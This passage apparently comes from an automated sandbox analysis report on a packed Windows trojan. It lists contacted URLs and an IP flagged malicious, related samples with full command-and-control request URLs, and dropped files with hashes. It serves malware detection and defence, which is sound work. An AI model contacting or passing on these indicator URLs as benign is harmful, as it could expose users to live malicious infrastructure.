http://www.estivalconsultancy.com/bsl/www.furnacerepairtacoma.net	explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.sakkal.com	explorer.exe, 00000002.00000000.704890174.000000000B976000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.serenityhomedits.comReferer:	explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://aefd.nelreports.net/api/report?c	SearchUI.exe, 00000016.00000002.910509404.000001B8D0EE3000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.g2vies.com/bsl/	explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.g2vies.com/bsl/www.edu4go.com	explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://facebook.github.io/react/docs/error-decoder.html?invariant	SearchUI.exe, 00000016.00000002.914254001.000001B8D1BAF000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0	explorer.exe, 00000002.00000000.704890174.000000000B976000.00000002.00000001.sdmp	false		high
http://www.fontbureau.com	explorer.exe, 00000002.00000000.704890174.000000000B976000.00000002.00000001.sdmp	false		high
http://www.cbothwelltest2020081703.com/bsl/www.luohu666.com	explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.infomgt.net	explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.theprintshop.inkReferer:	explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.luohu666.com/bsl/www.gvanmp.com	explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.cbothwelltest2020081703.com	explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.furnacerepairtacoma.netReferer:	explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.serenityhomedits.com/bsl/www.g2vies.com	explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.theprintshop.ink/bsl/	explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.furnacerepairtacoma.net/bsl/www.listenmelody.com	explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jokerwirewheels.comReferer:	explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.whatchicken.com/bsl/	explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.cbothwelltest2020081703.comReferer:	explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers/cabarga.htmlN	explorer.exe, 00000002.00000000.704890174.000000000B976000.00000002.00000001.sdmp	false		high
http://www.founder.com.cn/cn	explorer.exe, 00000002.00000000.704890174.000000000B976000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.whatchicken.com	explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.luohu666.com/bsl/	explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://aefd.nelreports.net/api/report?cat=bingaot	SearchUI.exe, 00000016.00000003.817365227.000001B8D126F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.furnacerepairtacoma.net	explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jiyu-kobo.co.jp/	explorer.exe, 00000002.00000000.704890174.000000000B976000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.serenityhomedits.com/bsl/	explorer.exe, 00000010.00000003.893668393.00000000063E8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
34.102.136.180	unknown	United States		15169	GOOGLEUS	true

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	31.0.0 Emerald
Analysis ID:	344595
Start date:	26.01.2021
Start time:	19:14:36
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 13m 10s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	SecuriteInfo.com.Trojan.Packed2.42783.14936.6333 (renamed file extension from 6333 to exe)
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	36
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@11/24@5/2
EGA Information:	Failed
HDC Information:	Successful, ratio: 13.9% (good quality ratio 12.5%) Quality average: 73.8% Quality standard deviation: 31.5%
HCA Information:	Successful, ratio: 100% Number of executed functions: 285 Number of non-executed functions: 195
Cookbook Comments:	Adjust boot time Enable AMSI
Warnings:	Show All Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, WerFault.exe, wermgr.exe, ShellExperienceHost.exe, backgroundTaskHost.exe, svchost.exe, mobsync.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 104.43.193.48, 52.255.188.83, 172.217.23.68, 51.104.144.132, 95.101.22.203, 95.101.22.224, 23.62.99.40, 2.21.243.41, 20.54.26.129, 52.155.217.156, 95.101.22.216, 204.79.197.200, 13.107.21.200, 40.88.32.150, 51.104.139.180, 52.147.198.201 Excluded domains from analysis (whitelisted): au.download.windowsupdate.com.edgesuite.net, arc.msn.com.nsatc.net, a1449.dscg2.akamai.net, arc.msn.com, db5eap.displaycatalog.md.mp.microsoft.com.akadns.net, skypedataprdcoleus15.cloudapp.net, audownload.windowsupdate.nsatc.net, www-bing-com.dual-a-0001.a-msedge.net, www.google.com, displaycatalog.mp.microsoft.com, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, au-bg-shim.trafficmanager.net, www.bing.com, displaycatalog-europeeap.md.mp.microsoft.com.akadns.net, dual-a-0001.a-msedge.net, ris-prod.trafficmanager.net, displaycatalog.md.mp.microsoft.com.akadns.net, ctldl.windowsupdate.com, a767.dscg3.akamai.net, skypedataprdcolcus15.cloudapp.net, ris.api.iris.microsoft.com, skypedataprdcoleus16.cloudapp.net, skypedataprdcoleus17.cloudapp.net, a-0001.a-afdentry.net.trafficmanager.net, blobcollector.events.data.trafficmanager.net Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtCreateFile calls found. Report size getting too big, too many NtDeviceIoControlFile calls found. Report size getting too big, too many NtEnumerateKey calls found. Report size getting too big, too many NtEnumerateValueKey calls found. Report size getting too big, too many NtOpenFile calls found. Report size getting too big, too many NtOpenKey calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryAttributesFile calls found. Report size getting too big, too many NtQueryValueKey calls found. Report size getting too big, too many NtReadVirtualMemory calls found. Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
19:15:40	API Interceptor	1x Sleep call for process: SecuriteInfo.com.Trojan.Packed2.42783.14936.exe modified
19:16:20	API Interceptor	695x Sleep call for process: explorer.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
34.102.136.180	PAYMENT.260121.xlsx	Get hash	malicious	Browse	www.worldwide-mt.com/kzd/
	bXFjrxjRlb.exe	Get hash	malicious	Browse	www.what3emoji.com/bf3/?pPX=m4Qmgz02ndzlkmzRdXbnUnIUoJvahqq5/3ILTCGwMTubC4gHDN74yJVcJDUGCd+LoHuKsTQ0JA==&W6=jnKpRl-xV
	xl2Ml2iNJe.exe	Get hash	malicious	Browse	www.ricardoinman.com/xle/?-ZnD=LjoXU6n8-&iBrlPD=43tORsMo6Gry83Td78nIWgxEplzIHXHZqBl7iQpQA31ZPQcRtwVYWDcsKQV/txd+LHV0DSgDXQ==
	v07PSzmSp9.exe	Get hash	malicious	Browse	www.jikzo.com/c8so/?3ff87=Bcwq9mo1SLdxGMzaDRBSbVH3gidTK8xbNEF8M/tGLQ2aKWcuDQCQFtxR7k1oF3yRZXKc&uZWD=XPmPajepJ2gdvnZ
	NEW ORDER.xlsx	Get hash	malicious	Browse	www.simplifiedvirtualsolutions.com/oean/?MdLxlt=mKgmb7I6yODGcWmnOnDfCd0CfDEQGPBdVeZhKsaKMoR3Qh4v4CLN6oxN3p9trG3799qCow==&gnU4Pf=yZPLGZXHl
	Inquiry_73834168_.xlsx	Get hash	malicious	Browse	www.kaiyuansu.pro/incn/?9r_PU=-ZQLEn&e2Jdlzf8=4y+UTKzAJ4dBlp/RYYS74WaP+qCjnKVRzK/jF/x906cXBmLcUo8gxmNUvdqUiR1QG2msPA==
	winlog(1).exe	Get hash	malicious	Browse	www.growingequity.fund/oean/?8pNhXv=yVML0zB0&u4XpH=VZAj6Grbo5w3dBd7w+9BSoe0Fg1VHX3dphJz9/egos9dVzX5qD6mqxE3tIZZ2ImCjS7epxmUBA==
	win32.exe	Get hash	malicious	Browse	www.findthatsmartphone.com/incn/?8pBP5p=/AA5bjKPiaWw22bzCdt7lqNbxAyyPpv3elVlM12b4Zuyr5w4xH0F6TIfefQNvJyZz9qG&L6Ah=2dSLFXghYtFd0
	1-26.exe	Get hash	malicious	Browse	www.catalogcardgames.net/bf3/?UXrxP8=0T3HW8l&URfXx=Sdh36sWiaQaHmuW5OuhNg2ZSKBobeXsq4DWTIDdmgtvI732RtscB8O3t4ssmBmGg4ghZ
	Request.xlsx	Get hash	malicious	Browse	www.cleverwares.com/c8so/?Rf=P253+QYRdhKTDdzjq4pa7Wp7svBpTNddHFol+cUWSKGzAXl94gLhBIvIcI/Xp4fU197lMA==&LDHHp=z4D80PDX
	INV_TMB_210567Y00.xlsx	Get hash	malicious	Browse	www.5050alberta.com/xle/?8pqhs=XuVPlIEgAAku+dXH+MR8cy20ZHkP0iJzlT7lKUj3PYBKa8v0bSmzSfHWFfmBCUSgIWFn2Q==&tDH=XRR8
	RFQ.xlsx	Get hash	malicious	Browse	www.blacknation.info/c8so/?pBU=HzuD_&gb24XB=6ATEh1s0NdZErsRPIUioXmvz20sSLCkN4f+QHjKAbluYenOJN9FSbPt8XJ2H+dMMf4Jp2Q==
	New Year Inquiry List.xlsx	Get hash	malicious	Browse	www.primeoneimplants.com/qjnt/?tB=TtdpPpppFvG&1bwhC=nh3Tl/oLs4HXZ5hiWyD3n36TA5+xQ+CwXb+KxfiJNOta6blp58Sj1H/LHtoCWuUTeWdwKg==
	RF-E93-STD-068 SUPPLIES.xlsx	Get hash	malicious	Browse	www.harperandchloe.com/xle/?5jFlkJJh=FNtvxHF14RtgzuhKSaLd0lIzxL3LkdKZj/Q/Opos8UfLtbug0tkzhu0XdD0TouZ6I/qGUQ==&LR-T=vBK0GdQp
	gPGTcEMoM1.exe	Get hash	malicious	Browse	www.ctfocbdwholesale.com/bw82/?W6=Rxta6xhtzzdBFDuy4SYKtO8XUaMinJcredo77YczPu8Lep1ecFiaWqXH8h2T5haNROfU&odeTY=cnxhAP6x
	bgJPIZIYby.exe	Get hash	malicious	Browse	www.engageautism.info/bw82/?GFND=n1L9MQk6NEQOasYlfxU4KXziLGivOllQbNtATfsC4RjAZctNbAJfQ2EIxV87fcKcU54A&Rlj=YVIX8Hyx
	vA0mtZ7JzJ.exe	Get hash	malicious	Browse	www.brainandbodystrengthcoach.com/csv8/?Mjklsrcx=4rzgp1jZc7l8Whg0IztLQnvubqNqMY/2oz5HEUeZ+SGIDqCjyjtIs6qqwwlb5soGHyjF&Hp0xlh=EVvxc8
	E4Q30tDEB9.exe	Get hash	malicious	Browse	www.conanbiopharma.com/z9n/?GzuX=Jhwq104eoCBg19EU7i3a/UNFlUD6BU+epYAdz34/Q5fuIRMc24e0hydyrjaAvIdaUf1m&9rspoR=ffn0iZa81
	INGNhYonmgtGZ9Updf.exe	Get hash	malicious	Browse	www.4thop.com/ur06/?2d=9rm4l4y&nt=yKWvtfxgXgd1h/cfVfwsL+vVHM9GHRLI6tHsLUWr1fII7HM154cThMJKgGXJGqB7HwFq
	560911_P.EXE	Get hash	malicious	Browse	www.leagueofwomengolfers.com/bf3/?2d=8pJhqv2&mt=Rg5SRlzVdqtJGgbKsvZ2Ay09186BQEC1kuNds6zR1M82qUcQWtSjBMIC0cP/+2kk9Xcq

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
GOOGLEUS	PAYMENT.260121.xlsx	Get hash	malicious	Browse	34.102.136.180
	4NoiNHCNoU.exe	Get hash	malicious	Browse	216.58.207.179
	bXFjrxjRlb.exe	Get hash	malicious	Browse	34.102.136.180
	xl2Ml2iNJe.exe	Get hash	malicious	Browse	34.102.136.180
	eEXZHxdxFE.exe	Get hash	malicious	Browse	35.228.108.144
	v07PSzmSp9.exe	Get hash	malicious	Browse	34.102.136.180
	o3Z5sgjhEM.exe	Get hash	malicious	Browse	35.186.223.98
	ltf94qhZ37.exe	Get hash	malicious	Browse	35.228.108.144
	NEW ORDER.xlsx	Get hash	malicious	Browse	34.102.136.180
	Inquiry_73834168_.xlsx	Get hash	malicious	Browse	34.102.136.180
	winlog(1).exe	Get hash	malicious	Browse	34.102.136.180
	win32.exe	Get hash	malicious	Browse	34.102.136.180
	DAT.doc	Get hash	malicious	Browse	35.200.206.198
	Bestellung.doc	Get hash	malicious	Browse	172.217.6.174
	.01.2021a.js	Get hash	malicious	Browse	35.228.108.144
	QT21006189.exe	Get hash	malicious	Browse	108.177.119.109
	1-26.exe	Get hash	malicious	Browse	34.102.136.180
	Request.xlsx	Get hash	malicious	Browse	34.102.136.180
	INV_TMB_210567Y00.xlsx	Get hash	malicious	Browse	34.102.136.180
	RFQ.xlsx	Get hash	malicious	Browse	34.102.136.180

JA3 Fingerprints

No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	SlaZL2LqI2.exe	Get hash	malicious	Browse
	4NoiNHCNoU.exe	Get hash	malicious	Browse
	SoPwZKv1Mf.exe	Get hash	malicious	Browse
	bXFjrxjRlb.exe	Get hash	malicious	Browse
	Generator.cont.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	560911_P.EXE	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	IMG_61779.pdf.exe	Get hash	malicious	Browse
	IMG_5391.EXE	Get hash	malicious	Browse
	czZ769nM6r.exe	Get hash	malicious	Browse
	IMG_1107.EXE	Get hash	malicious	Browse
	r3q6Bv8naR.exe	Get hash	malicious	Browse
	sy1RnlHl8Y.exe	Get hash	malicious	Browse
	qyMlTIBawC.exe	Get hash	malicious	Browse
	Qn2AQrgfqJ.exe	Get hash	malicious	Browse
	SecuriteInfo.com.Trojan.PackedNET.509.28611.exe	Get hash	malicious	Browse
	SecuriteInfo.com.Trojan.PackedNET.509.17348.exe	Get hash	malicious	Browse
	SecuriteInfo.com.Trojan.PackedNET.509.7497.exe	Get hash	malicious	Browse
	IMG_12283.exe	Get hash	malicious	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Explorer.EXE_7abfb1f1fbdbd7c2322150249348b63f54b8a170_10665708_1ba816b7\Report.wer Download File
Process:	C:\Windows\System32\WerFault.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	33064
Entropy (8bit):	3.6808226116631357
Encrypted:	false
SSDEEP:	192:hoHaHvSJv6j0PCXmmd1i+cf5PAGXNBttIUMfMgho/u7seS274ltnG:h4yvyv6jbq+cfxAIxtLJ/u7seX4ltnG
MD5:	AE85F99B123BA2CBDD27669B668B8055
SHA1:	E7773B7DF36B519420E9A6B2A2942A21875FED95
SHA-256:	B8053E43545C813CA6A35F8B5E3BE81FFF6BF869DF3EE00BF3874DAA14BBD3E3
SHA-512:	BBC95698F34C9E259940E9203AAD36E35904AFC53B58208E60DD65DC9456DCDD6A555F90445AD55577E1D98D799508233E6222ABCD9CBD9566FF77207058A9AC
Malicious:	false
Yara Hits:	Rule: SUSP_WER_Critical_HeapCorruption, Description: Detects a crashed application that crashed due to a heap corruption error (could be a sign of exploitation), Source: C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Explorer.EXE_7abfb1f1fbdbd7c2322150249348b63f54b8a170_10665708_1ba816b7\Report.wer, Author: Florian Roth
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.2.5.6.1.5.8.5.6.7.4.0.0.6.2.0.6.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.F.l.a.g.s.=.5.2.4.2.8.8.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.7.6.2.c.1.1.3.b.-.5.a.8.6.-.4.4.8.e.-.b.7.c.0.-.0.0.7.3.8.d.3.8.4.d.2.f.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.f.c.c.7.2.2.3.-.4.2.4.5.-.4.8.3.6.-.b.4.e.f.-.0.4.d.c.9.6.b.f.2.6.0.0.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.E.x.p.l.o.r.e.r...E.X.E.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.E.X.P.L.O.R.E.R...E.X.E.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.d.6.0.-.0.0.0.1.-.0.0.1.b.-.7.5.e.3.-.e.6.d.5.f.e.f.3.d.6.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.f.5.d.0.2.9.9.1.4.0.c.f.9.8.8.7.5.b.0.7.d.b.d.2.d.8.9.2.6.1.7.4.0.1.d.a.d.8.b.9.!.e.x.p.l.o.r.e.r...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.0.5././.0.4././.1.2.:.0.2.:.2.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1205.tmp.WERInternalMetadata.xml Download File
Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	10546
Entropy (8bit):	3.7121189576874825
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNi7JR6YtTQ3ikLgmfqK8ShM+prp89bZxs7ng+ycfSzm:RrlsNilR6Y63iIgmfqK8SQZa7ng+ycfv
MD5:	E8578A0AF29B8FC7A703230F563297CD
SHA1:	2617A69C062282248FCE2F8BAAEA3F719BE38D24
SHA-256:	31F5F78290119F7F9E386184F7EDB83D677C22ABE647BE23A1E41E323B77AC9F
SHA-512:	0E79798D9371E940C52B089E2735BC52F365361DF0014919EE5F49C45D4441C479F34B4A142FF79031E4F53C31897053A3D8D06E36064663187134315AC8C3F8
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.3.4.2.4.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WER12D1.tmp.xml Download File
Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4745
Entropy (8bit):	4.5179008550026465
Encrypted:	false
SSDEEP:	48:cvIwSD8zsxRJgtBI9I+WSC8BT78fm8M4JlNlQ6FOuXyq85klVQn0qAQd:uITfRG/SNyJL3bc0qAQd
MD5:	FBE9AC3A4C00E6E76CDFC0B54BA7B7FF
SHA1:	94DC25D55E846A621BAC74782EB2732E57373878
SHA-256:	87A156E368D306BAA669A33E1DDF37D02CF23118E6A15859D8FCB71817145653
SHA-512:	44E797951F90F3A78BD795C0463FB29F89B1AB2DEB4CB2ECFBD815C5F127D3F0F83566E2511040141D5C2FA48B7666559087D369CBCDDFDFF472046CE39C7400
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="833966" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WER61D.tmp.dmp Download File
Process:	C:\Windows\System32\WerFault.exe
File Type:	Mini DuMP crash report, 16 streams, Tue Jan 26 18:16:09 2021, 0x1205a4 type
Category:	dropped
Size (bytes):	1079338
Entropy (8bit):	1.3827411222548762
Encrypted:	false
SSDEEP:	1536:Nu1mqjmEwmQy0CVdPze+HbtmFXdjiM06uGDBPLudUHKrndxpdigCj6Mw6P:5hmQxCLPze+7IdjiMxxud0PV
MD5:	80EA4A10004616EE730CCD4396A810E1
SHA1:	CB9BC12B2D4EE4025CD3D330F7874ACBD682B614
SHA-256:	7138CAD36DB6FA5CF892E655D09C279DFAABF4D25F102F83B6B84646AAD92576
SHA-512:	1249B5A014E2D17C2347A6F38C7A1E224959D87C0CD9185A0D13874E0BEB001C577E213298D7F2B14D7547D9B64531D8B3AF8FE464C2E98F9665FF153604835A
Malicious:	false
Reputation:	low
Preview:	MDMP....... .......i\.`...................U...........B.......}......Lw......................T.......`....@.`.............................0..................W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .D.a.y.l.i.g.h.t. .T.i.m.e.......................................1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.........................................................................................................................................................................................................................................................................................................................................................................................................................................................d.b.g.c.o.r.e...a.m.d.6.4.,.1.0...0...1.7.1.3.4...1.......................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe.log Download File
Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1873
Entropy (8bit):	5.355036985457214
Encrypted:	false
SSDEEP:	48:MxHKXeHKlEHU0YHKhQnouHIW7HKjovitHoxHhAHKzvr1qHj:iqXeqm00YqhQnouRqjoKtIxHeqzTwD
MD5:	CDA95282F22F47DA2FDDC9E912B67FEF
SHA1:	67A40582A092B5DF40C3EB61A361A2D336FC69E0
SHA-256:	179E50F31095D0CFA13DCBB9CED6DEE424DFE8CEF8E05BDE1F840273F45E5F49
SHA-512:	1D151D92AE982D2149C2255826C2FFB89A475A1EB9B9FE93DC3706F3016CD6B309743B36A4D7F6D68F48CE25391FDA7A2BAE42061535EEA7862460424A3A2036
Malicious:	true
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"PresentationCore, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\PresentationCore\820a27781e8540ca263d835ec155f1a5\PresentationCore.ni.dll",0..3,"PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\Presentatio5ae0f00f#\889128adc9a7c9370e5e293f65060164\PresentationFramework.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"WindowsBase, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\Wi

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_1280.db Download File
Process:	C:\Windows\explorer.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	1.6368421881310118
Encrypted:	false
SSDEEP:	3:5l:7
MD5:	2DD3F3C33E7100EC0D4DBBCA9774B044
SHA1:	B254D47F2B9769F13B033CAE2B0571D68D42E5EB
SHA-256:	5A00CC998E0D0285B729964AFD20618CBAECFA7791FECDB843B535491A83AE21
SHA-512:	C719D8C54A3A749A41B8FC430405DB7FCDE829C150F27C89015793CA06018AD9D6833F20AB7E0CFDA99E16322B52A19C080E8C618F996FC8923488819E6E14BB
Malicious:	false
Preview:	CMMM ...................

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_16.db Download File
Process:	C:\Windows\explorer.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	1.408222675578688
Encrypted:	false
SSDEEP:	3:d:d
MD5:	419A089E66B9E18ADA06C459B000CB4D
SHA1:	ED2108A58BA73AC18C3D2BF0D8C1890C2632B05A
SHA-256:	C48E42E9AB4E25B92C43A7B0416D463B9FF7C69541E4623A39513BC98085F424
SHA-512:	BBD57BEA7159748E1B13B3E459E2C8691A46BDC9323AFDB9DBF9D8F09511750D46A1D98C717C7ADCA07D79EDC859E925476DD03231507F37F45775C0A79A593C
Malicious:	false
Preview:	CMMM ...................

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_1920.db Download File
Process:	C:\Windows\explorer.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	1.6368421881310118
Encrypted:	false
SSDEEP:	3:A/lll:A/
MD5:	635E15CB045FF4CF0E6A31C827225767
SHA1:	F1EAAA628678441481309261FABC9D155C0DD6CB
SHA-256:	67219E5AD98A31E8FA8593323CD2024C1CA54D65985D895E8830AE356C7BDF1D
SHA-512:	81172AE72153B24391C19556982A316E16E638F5322B11569D76B28E154250D0D2F31E83E9E832180E34ADD0D63B24D36DD8A0CEE80E8B46D96639BFF811FA58
Malicious:	false
